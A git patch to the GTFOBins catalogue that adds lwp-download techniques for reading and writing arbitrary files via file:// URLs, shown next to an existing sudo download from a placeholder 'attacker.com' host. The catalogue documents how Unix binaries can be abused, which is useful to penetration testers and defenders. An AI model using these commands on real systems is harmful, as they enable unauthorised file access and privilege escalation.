From 4469fdc66234e2588362f54dd831931f585f5268 Mon Sep 17 00:00:00 2001 From: LinuxSploit <68427058+LinuxSploit@users.noreply.github.com> Date: Tue, 13 Apr 2021 02:59:10 -0400 Subject: [PATCH] Add lwp-download file-read/write --- _gtfobins/lwp-download.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/_gtfobins/lwp-download.md b/_gtfobins/lwp-download.md index fc29699..1c58a3a 100644 --- a/_gtfobins/lwp-download.md +++ b/_gtfobins/lwp-download.md @@ -16,4 +16,17 @@ functions: URL=http://attacker.com/file_to_get LFILE=file_to_save sudo lwp-download $URL $LFILE + file-read: + - description: The file path must be absolute. + code: | + LFILE=file_to_read + TF=$(mktemp) + lwp-download "file://$LFILE" $TF + cat $TF + file-write: + - code: | + LFILE=file_to_write + TF=$(mktemp) + echo DATA >$TF + lwp-download file://$TF $LFILE ---